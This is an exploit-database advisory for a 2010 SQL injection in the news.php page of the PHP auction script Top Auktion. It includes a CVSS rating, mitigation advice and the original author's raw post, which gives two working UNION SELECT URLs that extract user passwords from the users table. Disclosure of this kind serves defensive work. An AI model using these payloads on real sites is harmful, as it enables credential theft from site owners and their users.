Top Auktion SQL Injection news.php

vendor:

Top Auktion

by:

Easy Laster

8,8

CVSS

HIGH

SQL Injection

CWE

Product Name: Top Auktion

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

Top Auktion SQL Injection news.php

A SQL injection vulnerability exists in the Top Auktion web application. An attacker can exploit this vulnerability by sending a crafted HTTP request to the vulnerable application. The request contains malicious SQL statements that are executed in the backend database. The malicious SQL statement can be used to extract sensitive information from the database, such as user credentials, or to modify the data stored in the database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL statements. Additionally, parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

----------------------------Information------------------------------------------------
+Name : Top Auktion SQL Injection news.php
+Autor : Easy Laster
+Date   : 22.10.2010
+Script  : Top Auktion
+Price : 34,90€
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian.
---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/auktion/news.php?id=
+Exploitable   : www.site.com/auktion/news.php?id=null+union+select+1,2,convert
(password using utf8),4,5+from+users

or

www.site.com/auktion/news.php?id=null+union+select+1,2,concat
(user,0x3a,password),4,5+from+users


-----------------------------------------------------------------------------------------